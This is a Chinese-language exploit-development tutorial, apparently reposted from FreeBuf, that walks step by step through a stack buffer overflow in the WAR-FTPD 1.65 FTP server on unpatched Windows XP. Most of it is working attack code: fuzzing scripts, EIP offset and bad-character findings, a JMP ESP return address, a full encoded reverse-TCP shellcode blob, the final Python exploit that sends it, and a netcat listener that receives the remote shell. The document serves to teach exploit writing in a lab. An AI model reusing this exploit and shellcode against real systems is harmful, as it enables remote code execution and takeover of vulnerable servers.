实例讲解如何利用Python编写Exploit
本项目的主要目的是学习编写一个Exploit的基本知识。后文中我将尽量将我所学内容一步一步地写成一篇指导性文章,包括过程中我所遇到的失败之处。为了使本文尽可能容易阅读,所以我决定以一个熟知的漏洞程序为例子,并以自己的方式来一步步编写利用代码。
0 00 环境介绍
受害端:
1、Windows XP(未打补丁)2、WAR-FTPD 1.65
3、Immunity Debugger
攻击端:
1、Python2、Telnet
3、Netcat
0 01 初始设置
在Windows计算机上运行Immunity Debugger和WAR-FTPD windows,然后通过Telnet连接它以确认从攻击端能够访问它。
0 02 Fuzzing、溢出
从这里开始,我们尝试通过一个缓冲区溢出漏洞来攻陷FTP服务器。首先,为了使输入内容能够攻破FTP服务,我们会向某个输入框中填写大量的数据,其中最明显的地方就是用户名或密码输入框。
#!/usr/bin/pythonimport socket, sys
target = '192.168.131.132'
payload = 'A' * int(sys.argv[1])
print "Payload length = %sn" % sys.argv[1]
def send_exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((target, 21))
try:
s.send('user %srn' % payload)
print s.recv(1000)
s.send('pass testrn')
except:
print "[+] server is down"
s.close()
if __name__ == "__main__":
send_exploit()
正如你所看到的,当我们利用一个长度为1000字节的payload(有效载荷)来测试时,输出了“[+]server is down”的信息,这意味着它可能在第500个字节时崩溃了。
在Immunity Debugger中,EIP也被41414141(AAAA级)所覆写,而它刚好匹配上我们的payload。需要注意的是,要记得在每次崩溃之后重启WAR-FTPD,然后再进行下一次尝试。
接下来我们要做的是为exploit找到所允许输入的最大数量,因为它基本上能告诉我们payload能够使用的空间大小。通过重复上面的方法,手动增加或减少输入内容的字节数,然后利用Immunity Debugger来验证刚好崩溃时的内容字节数。
当以1200+个字节内容进行测试时,最终停留在了一个名为msvcrt.dll的DLL文件中,而这里的EIP与41414141完全不同。另外,当payload大小为1100字节或以下时,我们仍然控制着EIP。
0 03 定位EIP
EIP是指向下一条指令的指针,通过控制它我们可以强制FTP服务器运行并执行非法位置的代码。此外,你总是可以通过手工测试来找到EIP,但这需要花费很长时间,所以我写了一个脚本来帮助我识别该指针。脚本内容见:bufferoverflow.py。
#!/usr/bin/pythonimport socket, sys
target = '192.168.131.132'
payload = sys.argv[1]
print "Payload length = %sn" % len(sys.argv[1])
def send_exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((target, 21))
try:
s.send('user %srn' % payload)
print s.recv(1000)
s.send('pass testrn')
except:
print "[+] server is down"
s.close()
if __name__ == "__main__":
send_exploit()
当运行bufferoverflow.py并将输入解析到利用脚本中时,Immunity Debugger报告EIP的值为32714131,然后我以该EIP地址重新在bufferoverflow.py中运行,最后它能够识别EIP的位置,并识别到它处于Little Endian(小端)模式。
0 04 测试并识别坏字符
到目前为止,我们知道以下内容:
1、EIP位于‘A’* 485 +‘EIP_ADDRESS’2、Payload的最大长度是1100字节
#!/usr/bin/python
import socket
target = '192.168.131.132'
buf = ''
exploit = 'A' * 485 + 'BBBB' + buf
padding = "C" * (1100 - len(exploit))
payload = exploit + padding
print 'Space left: %d bytesn' % len(padding)
def send_exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((target, 21))
try:
s.send('user %srn' % payload)
print s.recv(1000)
s.send('pass testrn')
except:
print "[+] server is down"
s.close()
if __name__ == "__main__":
send_exploit()
然后我用42424242(BBBB)替换EIP,以使其更容易验证我得到了真正的位置。如果我们跟随ESP dump,那么我们还可以看到EIP后面伴随着很多C,而这正是我们可以植入利用代码的地方。
现在我们需要做的是,测试是否存在可能给我们的利用代码带来麻烦的坏字符。
Common bad characters that may break the exploit.Hex Dec Description
--- --- ---------------------------------------------
0x00 0 Null byte, terminates a C string
0x0A 10 Line feed, may terminate a command line
0x0D 13 Carriage return, may terminate a command line
0x20 32 Space, may terminate a command line argument
通过运行这段代码,我们将尝试0 x00到0 xff之间任何两者的组合。
#!/usr/bin/pythonimport socket
target = '192.168.131.132'
buf = ''
badcharacters = []
for i in range(0,256):
if not any(chr(i) in s for s in badcharacters):
buf += chr(i)
exploit = 'A' * 485 + 'BBBB' + buf
padding = "C" * (1100 - len(exploit))
payload = exploit + padding
print 'Space left: %d bytesn' % len(padding)
def send_exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((target, 21))
try:
s.send('user %srn' % payload)
print s.recv(1000)
s.send('pass testrn')
except:
print "[+] server is down"
s.close()
if __name__ == "__main__":
send_exploit()
在检测ESP dump过程中我们进行多次测试,现在我们就可以移除这些坏字符了,因为它们会破坏溢出注入操作。
在第四次测试时发生了一件很怪异的事情。当我从payload中删除x00、x0a和x0a后,程序就开始不崩溃了。经过一些测试,我发现导致崩溃消失的这个字符是 x40,或者符号“@”。我以后需要深入研究一下这个符号,因为一个程序即使在EIP值全为B时也能够继续运行,这一点讲不通。
0 05 创建exploit
现在,既然我们已经知道了所有的坏字符,那么就可以开始创建exploit了。为了简单起见,我将使用一个反向TCP shell连接到攻击机器的端口4444上,而非使用meterpreter。此外,我还使用msfvenom做了一些测试,但并不能生成正常工作的shellcode。
msfpayload windows/shell_reverse_tcp LHOST="192.168.131.132" LPORT=4444 EXITFUNC=thread R | msfencode -b 'x00x0ax0dx40' -e x86/shikata_ga_nai[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)
buf =
"xb8x9cx9bxd9xafxdaxcdxd9x74x24xf4x5bx2bxc9" +
"xb1x4fx31x43x14x03x43x14x83xebxfcx7ex6ex25" +
"x47xf7x91xd6x98x67x1bx33xa9xb5x7fx37x98x09" +
"x0bx15x11xe2x59x8exa2x86x75xa1x03x2cxa0x8c" +
"x94x81x6cx42x56x80x10x99x8bx62x28x52xdex63" +
"x6dx8fx11x31x26xdbx80xa5x43x99x18xc4x83x95" +
"x21xbexa6x6axd5x74xa8xbax46x03xe2x22xecx4b" +
"xd3x53x21x88x2fx1dx4ex7axdbx9cx86xb3x24xaf" +
"xe6x1fx1bx1fxebx5ex5bx98x14x15x97xdaxa9x2d" +
"x6cxa0x75xb8x71x02xfdx1ax52xb2xd2xfcx11xb8" +
"x9fx8bx7exddx1ex58xf5xd9xabx5fxdax6bxefx7b" +
"xfex30xabxe2xa7x9cx1ax1bxb7x79xc2xb9xb3x68" +
"x17xbbx99xe4xd4xf1x21xf5x72x82x52xc7xddx38" +
"xfdx6bx95xe6xfax8cx8cx5ex94x72x2fx9exbcxb0" +
"x7bxcexd6x11x04x85x26x9dxd1x09x77x31x8axe9" +
"x27xf1x7ax81x2dxfexa5xb1x4dxd4xd3xf6xdax17" +
"x4bx7bx9bxf0x8ex7bx8dx5cx06x9dxc7x4cx4ex36" +
"x70xf4xcbxccxe1xf9xc1x44x81x68x8ex94xccx90" +
"x19xc3x99x67x50x81x37xd1xcaxb7xc5x87x35x73" +
"x12x74xbbx7axd7xc0x9fx6cx21xc8x9bxd8xfdx9f" +
"x75xb6xbbx49x34x60x12x25x9exe4xe3x05x21x72" +
"xecx43xd7x9ax5dx3axaexa5x52xaax26xdex8ex4a" +
"xc8x35x0bx6ax2bx9fx66x03xf2x4axcbx4ex05xa1" +
"x08x77x86x43xf1x8cx96x26xf4xc9x10xdbx84x42" +
"xf5xdbx3bx62xdc"
将payload添加到代码中,运行它并在崩溃时检查ESP dump。你可以看到:很多AAAAA,将其转换成十六进制后看起来很像exploit,后面紧随着CCCCCC。如果你未看到任何CCCCCC,这可能意味着exploit太长了,以至于你用完了可用空间;或者你忘了使用“-b”参数删除坏字符。不过,你可以通过运行exploit来验证剩余空间大小。
Space left: 297 bytes0 06 定位有效的注入点
1、EIP位于‘A’* 485 +‘EIP_ADDRESS’2、payload最大长度是1100字节
3、坏字符:x00、x0a、x0d、x40
坏字符不仅影响shell code,而且还影响我们想要操作的EIP。因为WAR-FTPD运行于一个以“00”起始的内存位置,意味着我们不能向这个位置注入payload,所以需要寻找另一个由WAR-FTPD加载到内存中的文件。
我强烈建议确认该文件不受ASLR或Rebase保护,否则这将使我们的工作非常困难。你可以下载mona插件并运行“!mona modules”来检测ASLR和Rebase保护的文件。下面,有两种类型的指令是我们需要寻找的,它们分别是“JMP ESP”或指令序列“PUSH ESP;RET”。
此外,ole32.dll似乎处于一个有效的内存范围内(base:7774 e0000,top:7774 d000)。打开它之后,我成功地找到了一个JMP ESP,并附带一个有效的内存地址:7755A930。
注意:十六进制奇数值(如1、3、5、7、9、B、D、F)的JMP ESP将不会起作用。
既然我们得到了一个目标地址,那么我们可以在exploit中用7755A930代替“BBBB”。需要记住的是,WAR-FTPD使用小端模式,这意味着我们需要反转指针地址为30A95577。
#!/usr/bin/pythonimport socket
target = '192.168.131.132'
buf = (
"xb8x9cx9bxd9xafxdaxcdxd9x74x24xf4x5bx2bxc9" +
"xb1x4fx31x43x14x03x43x14x83xebxfcx7ex6ex25" +
"x47xf7x91xd6x98x67x1bx33xa9xb5x7fx37x98x09" +
"x0bx15x11xe2x59x8exa2x86x75xa1x03x2cxa0x8c" +
"x94x81x6cx42x56x80x10x99x8bx62x28x52xdex63" +
"x6dx8fx11x31x26xdbx80xa5x43x99x18xc4x83x95" +
"x21xbexa6x6axd5x74xa8xbax46x03xe2x22xecx4b" +
"xd3x53x21x88x2fx1dx4ex7axdbx9cx86xb3x24xaf" +
"xe6x1fx1bx1fxebx5ex5bx98x14x15x97xdaxa9x2d" +
"x6cxa0x75xb8x71x02xfdx1ax52xb2xd2xfcx11xb8" +
"x9fx8bx7exddx1ex58xf5xd9xabx5fxdax6bxefx7b" +
"xfex30xabxe2xa7x9cx1ax1bxb7x79xc2xb9xb3x68" +
"x17xbbx99xe4xd4xf1x21xf5x72x82x52xc7xddx38" +
"xfdx6bx95xe6xfax8cx8cx5ex94x72x2fx9exbcxb0" +
"x7bxcexd6x11x04x85x26x9dxd1x09x77x31x8axe9" +
"x27xf1x7ax81x2dxfexa5xb1x4dxd4xd3xf6xdax17" +
"x4bx7bx9bxf0x8ex7bx8dx5cx06x9dxc7x4cx4ex36" +
"x70xf4xcbxccxe1xf9xc1x44x81x68x8ex94xccx90" +
"x19xc3x99x67x50x81x37xd1xcaxb7xc5x87x35x73" +
"x12x74xbbx7axd7xc0x9fx6cx21xc8x9bxd8xfdx9f" +
"x75xb6xbbx49x34x60x12x25x9exe4xe3x05x21x72" +
"xecx43xd7x9ax5dx3axaexa5x52xaax26xdex8ex4a" +
"xc8x35x0bx6ax2bx9fx66x03xf2x4axcbx4ex05xa1" +
"x08x77x86x43xf1x8cx96x26xf4xc9x10xdbx84x42" +
"xf5xdbx3bx62xdc")
# EIP = 7755A930 = x30xa9x55x77
nop = 'x90' * 14
exploit = 'A' * 485 + 'x30xa9x55x77' + nop + buf
padding = "C" * (1100 - len(exploit))
payload = exploit + padding
print 'Space left: %d bytesn' % len(padding)
def send_exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((target, 21))
try:
s.send('user %srn' % payload)
print s.recv(1000)
s.send('pass testrn')
except:
print "[+] server is down"
s.close()
if __name__ == "__main__":
send_exploit()
0 07 Pwning WAR-FTPD
在攻击端机器上运行netcat或类似的工具,使其监听4444端口(nc -nlvp 4444)。接着,开始愉快地pwning吧 !
0 08 参考资源
在研究的过程中,我发现了一些很棒的资源,链接如下:
http://www.securitysift.com/windows-exploit-development-part-1-basics/
https://samsclass.info/127/proj/vuln-server.htm
*原文地址: 0 41.no,FB小编JackFree编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.com)
查看评论 回复
"实例讲解如何利用Python编写Exploit"的相关文章
- 上一篇:没有了
- 下一篇:Python 运算符